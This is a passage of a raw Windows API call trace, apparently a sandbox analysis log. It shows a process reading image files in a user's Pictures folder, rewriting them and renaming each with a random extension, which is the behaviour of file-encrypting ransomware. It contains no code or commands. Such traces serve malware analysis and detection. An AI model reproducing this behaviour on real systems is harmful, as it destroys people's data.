QgxZhGJp90o\\LkpsUmBc2.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\lkpsumbc2.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.322] GetFileType (hFile=0x1d0) returned 0x1 [0157.322] SetErrorMode (uMode=0x0) returned 0x1 [0157.322] GetFileType (hFile=0x1d0) returned 0x1 [0157.322] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a51530*, nNumberOfBytesToWrite=0xc750, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2a51530*, lpNumberOfBytesWritten=0x21d3d8*=0xc750, lpOverlapped=0x0) returned 1 [0157.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif", lpFilePart=0x0) returned 0x4c [0157.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif.pneqrl", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif.pneqrl", lpFilePart=0x0) returned 0x53 [0157.325] SetErrorMode (uMode=0x1) returned 0x0 [0157.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\lkpsumbc2.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefffc040, ftCreationTime.dwHighDateTime=0x1d8be7b, ftLastAccessTime.dwLowDateTime=0xeba736a0, ftLastAccessTime.dwHighDateTime=0x1d8c05f, ftLastWriteTime.dwLowDateTime=0x5a3fd940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xc750)) returned 1 [0157.325] SetErrorMode (uMode=0x0) returned 0x1 [0157.325] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\lkpsumbc2.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif.pneqrl" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\lkpsumbc2.gif.pneqrl")) returned 1 [0157.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png", lpFilePart=0x0) returned 0x4e [0157.326] SetErrorMode (uMode=0x1) returned 0x0 [0157.326] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\u05nyfhfooh.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.327] GetFileType (hFile=0x1d0) returned 0x1 [0157.327] SetErrorMode (uMode=0x0) returned 0x1 [0157.327] GetFileType (hFile=0x1d0) returned 0x1 [0157.327] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x18f1b [0157.327] ReadFile (in: hFile=0x1d0, lpBuffer=0x1281c1d0, nNumberOfBytesToRead=0x18f1b, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x1281c1d0*, lpNumberOfBytesRead=0x21d358*=0x18f1b, lpOverlapped=0x0) returned 1 [0157.411] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png", lpFilePart=0x0) returned 0x4e [0157.411] SetErrorMode (uMode=0x1) returned 0x0 [0157.411] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\u05nyfhfooh.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.413] GetFileType (hFile=0x1d0) returned 0x1 [0157.413] SetErrorMode (uMode=0x0) returned 0x1 [0157.413] GetFileType (hFile=0x1d0) returned 0x1 [0157.414] WriteFile (in: hFile=0x1d0, lpBuffer=0x12898df0*, nNumberOfBytesToWrite=0x18f20, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12898df0*, lpNumberOfBytesWritten=0x21d3d8*=0x18f20, lpOverlapped=0x0) returned 1 [0157.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png", lpFilePart=0x0) returned 0x4e [0157.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png.t95t8q", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png.t95t8q", lpFilePart=0x0) returned 0x55 [0157.416] SetErrorMode (uMode=0x1) returned 0x0 [0157.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\u05nyfhfooh.png"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2719d3b0, ftCreationTime.dwHighDateTime=0x1d8b853, ftLastAccessTime.dwLowDateTime=0xaffcaf00, ftLastAccessTime.dwHighDateTime=0x1d8be0b, ftLastWriteTime.dwLowDateTime=0x5a4e2180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x18f20)) returned 1 [0157.416] SetErrorMode (uMode=0x0) returned 0x1 [0157.416] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\u05nyfhfooh.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\U05NyfhFoOH.png.t95t8q" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\u05nyfhfooh.png.t95t8q")) returned 1 [0157.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif", lpFilePart=0x0) returned 0x4c [0157.419] SetErrorMode (uMode=0x1) returned 0x0 [0157.419] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\wa4m93zpt.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.419] GetFileType (hFile=0x1d0) returned 0x1 [0157.420] SetErrorMode (uMode=0x0) returned 0x1 [0157.420] GetFileType (hFile=0x1d0) returned 0x1 [0157.420] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xbe72 [0157.420] ReadFile (in: hFile=0x1d0, lpBuffer=0x2916358, nNumberOfBytesToRead=0xbe72, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2916358*, lpNumberOfBytesRead=0x21d358*=0xbe72, lpOverlapped=0x0) returned 1 [0157.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif", lpFilePart=0x0) returned 0x4c [0157.442] SetErrorMode (uMode=0x1) returned 0x0 [0157.442] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\wa4m93zpt.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.444] GetFileType (hFile=0x1d0) returned 0x1 [0157.444] SetErrorMode (uMode=0x0) returned 0x1 [0157.444] GetFileType (hFile=0x1d0) returned 0x1 [0157.444] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a19d00*, nNumberOfBytesToWrite=0xbe80, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2a19d00*, lpNumberOfBytesWritten=0x21d3d8*=0xbe80, lpOverlapped=0x0) returned 1 [0157.446] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif", lpFilePart=0x0) returned 0x4c [0157.446] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif.1csf7t", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif.1csf7t", lpFilePart=0x0) returned 0x53 [0157.446] SetErrorMode (uMode=0x1) returned 0x0 [0157.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\wa4m93zpt.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c23950, ftCreationTime.dwHighDateTime=0x1d8c112, ftLastAccessTime.dwLowDateTime=0x3c9dc110, ftLastAccessTime.dwHighDateTime=0x1d8c122, ftLastWriteTime.dwLowDateTime=0x5a52e440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xbe80)) returned 1 [0157.447] SetErrorMode (uMode=0x0) returned 0x1 [0157.447] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\wa4m93zpt.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Wa4M93Zpt.gif.1csf7t" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\wa4m93zpt.gif.1csf7t")) returned 1 [0157.448] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png", lpFilePart=0x0) returned 0x49 [0157.448] SetErrorMode (uMode=0x1) returned 0x0 [0157.448] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\xnjgp6.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.448] GetFileType (hFile=0x1d0) returned 0x1 [0157.448] SetErrorMode (uMode=0x0) returned 0x1 [0157.448] GetFileType (hFile=0x1d0) returned 0x1 [0157.449] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x3741 [0157.449] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a26bc0, nNumberOfBytesToRead=0x3741, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2a26bc0*, lpNumberOfBytesRead=0x21d358*=0x3741, lpOverlapped=0x0) returned 1 [0157.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png", lpFilePart=0x0) returned 0x49 [0157.526] SetErrorMode (uMode=0x1) returned 0x0 [0157.526] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\xnjgp6.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.528] GetFileType (hFile=0x1d0) returned 0x1 [0157.528] SetErrorMode (uMode=0x0) returned 0x1 [0157.528] GetFileType (hFile=0x1d0) returned 0x1 [0157.528] WriteFile (in: hFile=0x1d0, lpBuffer=0x291b290*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x291b290*, lpNumberOfBytesWritten=0x21d3d8*=0x3750, lpOverlapped=0x0) returned 1 [0157.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png", lpFilePart=0x0) returned 0x49 [0157.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png.r9a3ez", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png.r9a3ez", lpFilePart=0x0) returned 0x50 [0157.530] SetErrorMode (uMode=0x1) returned 0x0 [0157.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\xnjgp6.png"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b91000, ftCreationTime.dwHighDateTime=0x1d8b38c, ftLastAccessTime.dwLowDateTime=0x6ef701a0, ftLastAccessTime.dwHighDateTime=0x1d8b847, ftLastWriteTime.dwLowDateTime=0x5a5ecb20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x3750)) returned 1 [0157.530] SetErrorMode (uMode=0x0) returned 0x1 [0157.530] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\xnjgp6.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\xnJgp6.png.r9a3ez" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\xnjgp6.png.r9a3ez")) returned 1 [0157.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png", lpFilePart=0x0) returned 0x55 [0157.532] SetErrorMode (uMode=0x1) returned 0x0 [0157.532] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\z64iidmxexqqkp0mit.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.532] GetFileType (hFile=0x1d0) returned 0x1 [0157.532] SetErrorMode (uMode=0x0) returned 0x1 [0157.532] GetFileType (hFile=0x1d0) returned 0x1 [0157.532] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x17c43 [0157.533] ReadFile (in: hFile=0x1d0, lpBuffer=0x128c9a50, nNumberOfBytesToRead=0x17c43, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x128c9a50*, lpNumberOfBytesRead=0x21d358*=0x17c43, lpOverlapped=0x0) returned 1 [0157.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png", lpFilePart=0x0) returned 0x55 [0157.561] SetErrorMode (uMode=0x1) returned 0x0 [0157.561] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\z64iidmxexqqkp0mit.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.562] GetFileType (hFile=0x1d0) returned 0x1 [0157.562] SetErrorMode (uMode=0x0) returned 0x1 [0157.562] GetFileType (hFile=0x1d0) returned 0x1 [0157.562] WriteFile (in: hFile=0x1d0, lpBuffer=0x12940858*, nNumberOfBytesToWrite=0x17c50, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12940858*, lpNumberOfBytesWritten=0x21d3d8*=0x17c50, lpOverlapped=0x0) returned 1 [0157.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png", lpFilePart=0x0) returned 0x55 [0157.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png.b164m3", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png.b164m3", lpFilePart=0x0) returned 0x5c [0157.571] SetErrorMode (uMode=0x1) returned 0x0 [0157.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\z64iidmxexqqkp0mit.png"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808c1d30, ftCreationTime.dwHighDateTime=0x1d8b363, ftLastAccessTime.dwLowDateTime=0xc62cccd0, ftLastAccessTime.dwHighDateTime=0x1d8bd14, ftLastWriteTime.dwLowDateTime=0x5a65ef40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17c50)) returned 1 [0157.572] SetErrorMode (uMode=0x0) returned 0x1 [0157.572] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\z64iidmxexqqkp0mit.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\Z64iIdMxeXqqKP0mIT.png.b164m3" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\z64iidmxexqqkp0mit.png.b164m3")) returned 1 [0157.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH", lpFilePart=0x0) returned 0x49 [0157.573] SetErrorMode (uMode=0x1) returned 0x0 [0157.573] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cf3d20, ftCreationTime.dwHighDateTime=0x1d8bb04, ftLastAccessTime.dwLowDateTime=0x96633ed0, ftLastAccessTime.dwHighDateTime=0x1d8bbde, ftLastWriteTime.dwLowDateTime=0x96633ed0, ftLastWriteTime.dwHighDateTime=0x1d8bbde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0157.573] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cf3d20, ftCreationTime.dwHighDateTime=0x1d8bb04, ftLastAccessTime.dwLowDateTime=0x96633ed0, ftLastAccessTime.dwHighDateTime=0x1d8bbde, ftLastWriteTime.dwLowDateTime=0x96633ed0, ftLastWriteTime.dwHighDateTime=0x1d8bbde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18971420, ftCreationTime.dwHighDateTime=0x1d8b5d7, ftLastAccessTime.dwLowDateTime=0xc57010d0, ftLastAccessTime.dwHighDateTime=0x1d8bb85, ftLastWriteTime.dwLowDateTime=0xc57010d0, ftLastWriteTime.dwHighDateTime=0x1d8bb85, nFileSizeHigh=0x0, nFileSizeLow=0x174f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="b7UxR_bx5.png", cAlternateFileName="B7UXR_~1.PNG")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1616b40, ftCreationTime.dwHighDateTime=0x1d8ba3e, ftLastAccessTime.dwLowDateTime=0x5d026af0, 